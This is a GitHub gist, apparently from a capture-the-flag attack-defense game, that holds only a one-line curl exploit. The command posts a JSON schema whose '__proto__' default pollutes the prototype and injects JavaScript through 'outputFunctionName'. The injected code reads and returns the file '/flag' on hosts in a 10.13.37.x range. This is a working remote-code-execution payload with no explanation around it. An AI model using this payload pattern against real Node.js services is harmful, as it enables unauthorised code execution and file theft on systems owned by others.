Skip to content

Instantly share code, notes, and snippets.

@tyage
Last active August 11, 2020 12:21
Show Gist options
  • Save tyage/bf394b45dd0fad294695d4a827918e10 to your computer and use it in GitHub Desktop.
Save tyage/bf394b45dd0fad294695d4a827918e10 to your computer and use it in GitHub Desktop.
curl http://10.13.37.$i:14017/config/validated/json-schema/validate -H 'content-type: application/json' --data '{"$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"outputFunctionName":{"type":"string","default":"x;var buf = Buffer.alloc(128);var fs = process.mainModule.require(`fs`);var fd=fs.openSync(`/fl`+`ag`);fs.readSync(fd, buf, 0, 128);fs.closeSync(fd);return buf.toString();//x"},"path":{"type":"string","default":"/foo"}}}}}}'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment